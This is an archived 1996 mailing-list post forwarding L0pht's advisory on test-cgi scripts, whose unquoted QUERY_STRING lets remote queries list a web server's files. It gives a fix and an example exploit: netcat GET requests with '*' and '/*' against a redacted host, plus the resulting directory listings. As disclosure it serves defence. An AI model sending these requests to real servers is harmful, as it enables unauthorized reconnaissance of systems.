home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / mop / multipe.asc < prev    next >
Encoding:
Text File  |  1997-02-23  |  3.9 KB  |  132 lines

  1.  
  2.                         Re: Vulnrability in test-cgi...
  3.                                        
  4.    Jesus Altuve (jaltuve@ibm.net)
  5.    Mon, 2 Dec 1996 19:45:58 -0400
  6.    
  7.        
  8. Safe??? there's a way to inventory the files on a server using the TEST-CGI
  9. program! (on certain setups) here's the advisory L0pth released on April..
  10.  
  11. Regards,
  12.  
  13. ----------------------------------------------------------------------------
  14. -
  15.  
  16.                   [ Advisory released April 1996 ]
  17.  
  18.                             L0pht Report
  19.  
  20.                        test-cgi vulnerability
  21.                          in certain setups
  22.  
  23. Affected Program: test-cgi scripts found on various web servers.
  24.  
  25. Severity: Anyone can remotely inventory the files on a machine.
  26.  
  27. Author: mudge@l0pht.com
  28.  
  29. Synopsis:
  30.  
  31. On many web sites there exists a file called test-cgi (usually in
  32. the cgi-bin directory or somewhere similar). There is a problem
  33. with many of these test-cgi files. If your test-cgi file contains
  34. the following line (verbatim) then you are probably vulnerable.
  35.  
  36. echo QUERY_STRING = $QUERY_STRING
  37.  
  38. All of these lines should have the variables enclosed in loose
  39. quotes ("). Without these quotes certain special characters
  40. (specifically '*') get expanded where they shouldn't. Thus
  41. submitting a query of '*' will return the contents of the
  42. current directory (probably where all of the cgi files are...
  43. gee, there's jj and phf. Hmmm what are all those other cgi's
  44. that I haven't seen... wonder what holes exist in those?).
  45. Sending in a query of '/*' will list the root directory.
  46. And so on, and so on.
  47.  
  48. This is the same as doing `echo *` when you've blown away 'ls'
  49. (not that this ever happens to anyone <grin>).
  50.  
  51. The easiest way to list out the directories is via the query
  52. string. However, it is possible to do the same thing through
  53. many of the other variables (ie $REMOTE_HOST, $REMOTE_USER, etc.)
  54. in the right situations.
  55.  
  56.  
  57. Fix:
  58.  
  59. The quick fix is to place loose quotes around all of the
  60. variables in the test-cgi file (they should have been there
  61. from the beginning!).
  62.  
  63. echo QUERY_STRING = "$QUERY_STRING"
  64.  
  65. This incorrect file has been seen in at least several versions
  66. of NCSA, and Apache.
  67.  
  68.  
  69. Example exploit:
  70.  
  71. Below are examples (nc is netcat from avian.org, if you don't
  72. have it you should get it as it is an invaluable tool. You can
  73. always just telnet to port 80 and type in the GET... command.)
  74.  
  75. ------------------
  76. machine% echo "GET /cgi-bin/test-cgi?/*" | nc removed.name.com 80
  77.  
  78. CGI/1.0 test script report:
  79.  
  80. argc is 1. argv is /\*.
  81.  
  82. SERVER_SOFTWARE = NCSA/1.4.1
  83. SERVER_NAME = removed.name.com
  84. GATEWAY_INTERFACE = CGI/1.1
  85. SERVER_PROTOCOL = HTTP/0.9
  86. SERVER_PORT = 80
  87. REQUEST_METHOD = GET
  88. HTTP_ACCEPT =
  89. PATH_INFO =
  90. PATH_TRANSLATED =
  91. SCRIPT_NAME = /bin/cgi-bin/test-cgi
  92. QUERY_STRING = /a /bin /boot /bsd /cdrom /dev /etc /home /lib /mnt
  93. /root /sbin /stand /sys /tmp /usr /usr2 /var
  94. REMOTE_HOST = remote.machine.com
  95. REMOTE_ADDR = 255.255.255.255
  96. REMOTE_USER =
  97. AUTH_TYPE =
  98. CONTENT_TYPE =
  99. CONTENT_LENGTH =
  100.  
  101. ------------------
  102. Or to see what other cgi-goodies are still floating around...
  103. ------------------
  104. machine% echo "GET /cgi-bin/test-cgi?*" | nc removed.name.com 80
  105.  
  106. CGI/1.0 test script report:
  107.  
  108. argc is 1. argv is \*.
  109.  
  110. SERVER_SOFTWARE = NCSA/1.4.1
  111. SERVER_NAME = removed.name.com
  112. GATEWAY_INTERFACE = CGI/1.1
  113. SERVER_PROTOCOL = HTTP/0.9
  114. SERVER_PORT = 80
  115. REQUEST_METHOD = GET
  116. HTTP_ACCEPT =
  117. PATH_INFO =
  118. PATH_TRANSLATED =
  119. SCRIPT_NAME = /bin/cgi-bin/test-cgi
  120. QUERY_STRING = calendar cgi-archie cgi-calendar cgi-date cgi-finger
  121. cgi-fortune cgi-lib.pl imagemap imagemap.cgi imagemap.conf index.html
  122. mail-query mail-query-2 majordomo majordomo.cf marker.cgi
  123. menu message.cgi munger.cgi munger.note ncsa-default.tar post-query
  124. query smartlist.cf src subscribe.cf test-cgi uptime
  125. REMOTE_HOST = remote.machine.com
  126. REMOTE_ADDR = 255.255.255.255
  127. REMOTE_USER =
  128. AUTH_TYPE =
  129. CONTENT_TYPE =
  130. CONTENT_LENGTH =
  131.  
  132.